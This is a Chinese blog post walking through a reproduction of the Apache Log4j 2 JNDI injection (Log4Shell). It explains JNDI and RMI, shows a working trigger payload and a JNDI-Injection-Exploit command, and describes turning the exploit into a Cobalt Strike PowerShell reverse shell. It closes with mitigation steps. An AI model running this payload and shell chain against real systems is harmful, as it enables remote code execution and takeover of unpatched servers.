JNDI注入--Apache log4j 2 RCE

0x00 背景知识了解

 

JNDI

它的全称就是Java Naming and DirectoryInterface Java命名和目录接口,使用来为开发人查找

访问各种资源提供的统一通用接口。

它就是一组API接口,每个对象都有一组唯一的键值来绑定。

而将名字和对象绑定就可以通过名字来检索指定的对象。

JNDI支持的主要服务

DNS、LDAP、RMI和CORBA等。

Java的RMI远程调用是指,一个JVM中的代码可以通过网络实现远程调用另一个JVM的某个方法。RMI是Remote Method Invocation的缩写。
Java的RMI严重依赖序列化和反序列化,而这种情况下可能会造成严重的安全漏洞。

  LDAP的中文全称是:轻量级目录访问协议
  LDAP的结构用树来表示,而不是用表格,正因为这样,就不能用SQL语句了;
  LDAP可以很快地得到查询结果,不过在写方面,就慢得多;
  LDAP提供了静态数据的快速查询方式。

 

Java Naming

命名服务是一种键值对的绑定,使应用程序可以通过键检索值

 

Java Directory

目录服务是命名服务的自然扩展。这两者之间的区别在于目录服务中对象可以有属性,而命名服务中对象没有属性。因此,在目录服务中可以根据属性搜索对象。

 

ObjectFactory

它用于把Naming Service(RMI/LDAP),中存储的数据转换成Java中可表达的数据(对象或者是Java中基本数据类型)

JNDI注入的问题就是处在可远程下载自定义的ObjectFactory类上。

 

在JNDI中提供了绑定和查找的方法:

  • bind:将名称绑定到对象中;
  • lookup:通过名字检索执行的对象;

 

定义一个Perspn类:

import java.io.Serializable;
import java.rmi.Remote;

public class Person implements Remote, Serializable {
    private static final long serivalVersionUID = 1l;
    private String name,password;
    public String getName(){
        return name;
    }

    public void setName(String name){
        this.name = name;
    }

    public String getPassword(){
        return password;
    }

    public  void setPassword(String password){
        this.password = password;
    }

    public String toString(){
        return "name:"+name+"\n"+"password:"+password;
    }
}

然后这里再写一个Server,把服务器端和客户端都写到一起了

import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;

public class Server {
    public static void initPerson() throws Exception{
        //配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常
        LocateRegistry.createRegistry(6666);
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");

        //初始化
        InitialContext ctx = new InitialContext();

        //实例化person对象
        Person p = new Person();
        p.setName("test");
        p.setPassword("hacjawker");

        //person对象绑定到JNDI服务中,JNDI的名字叫做:person。
        ctx.bind("person", p);
        ctx.close();
    }

    public static void findPerson() throws Exception{
        //因为前面已经将JNDI工厂和JNDI的url和端口已经添加到System对象中,这里就不用在绑定了
        InitialContext ctx = new InitialContext();

        //通过lookup查找person对象
        Person person = (Person) ctx.lookup("person");

        //打印出这个对象
        System.out.println(person.toString());
        ctx.close();
    }

    public static void main(String[] args) throws Exception {
        initPerson();
        findPerson();
    }
}

 

 

第一部分是initPerson()函数即服务端,其通过JNDI实现RMI服务,并通过JNDI的bind()函数将实例化的Person对象绑定到RMI服务中;

第二部分是findPerson()函数即客户端,其通过JNDI的lookup方法来检索person对象并输出出来。

 

 

 

Apache log4j 2 复现

0x01 复现环境

环境:攻击机运行idea 1.8.0 131 jdk环境,加载服务环境是jdk 11

 

 

0x02 复现过程

首先用maven创建Java项目,然后使用下面的pom,用maven去倒环境

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>log4j-rce</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
        <!--        <dependency>-->
        <!--            <groupId>commons-collections</groupId>-->
        <!--            <artifactId>commons-collections</artifactId>-->
        <!--            <version>3.1</version>-->
        <!--        </dependency>-->

    </dependencies>

</project>

用maven更新好,在写攻击代码,github上已经有很多了

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        logger.error("${jndi:ldap://127.0.0.1:1389/8tl9x7}");
    }
}

这里使用Injection-Exploit-1.0-SNAPSHOT-all.jar包来挂载服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "127.0.0.1"

 

然后执行log4j,弹出计算器

 

0x03  powershell登录

这里命令执行成功了,可以用powershell来反弹shell

 

 记录一下getshell的过程,首先在VPS上挂载cs,然后登录cs客户端,生成powershell马

 

 

 

 

 监听IP 端口配置,VPS上的端口一定要检查是否打开了,这里是666端口

然后选择生成无状态的木马

 

 

 

运行jar,生成了powershell木马执行 替换"calc" payload位置

 

 然后运行log4j

 

 

成功返回 cs也弹到了shell

 

 执行命令powershell whoami

 

 

 

 

 不过现在补丁已经从rc1到rc2了,之前的补丁又被绕过了,现在没有特别好的方法来修复这个漏洞,

主要是涉及面和业务都很广。

 

0x04  修复

参考深蓝平台给出的修复方案:

1、如何排查项目中谁使用了含有漏洞log4j?

如果使用的是gradle,可以执行gradle dependencies查看。

如果使用的是maven,可以执行mvn dependency:tree查看。

2、如何处理漏洞?

对于能直接升级log4j2到版本2.15.0 rc2的系统来说,请尽量升级。


org.apache.logging.log4j:log4j-core:2.15.0

org.apache.logging.log4j:log4j:2.15.0

org.apache.logging.log4j:log4j-api:2.15.0

对于无法升级的系统,有如下解决方案:

如果是属于2.0-beta9到2.10.0版本,暂时处理方式是从类路径去除JndiLookup类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class。

如果版本> = 2.10,这个漏洞可以通过设置系统属性log4j2.formatMsgNoLookups或环境变量LOG4J_FORMAT_MSG_NO_LOOKUPS为true来作为暂时解决方案。

 

 

 参考github

posted @ 2021-12-13 15:10  Erichas  阅读(596)  评论(0编辑  收藏  举报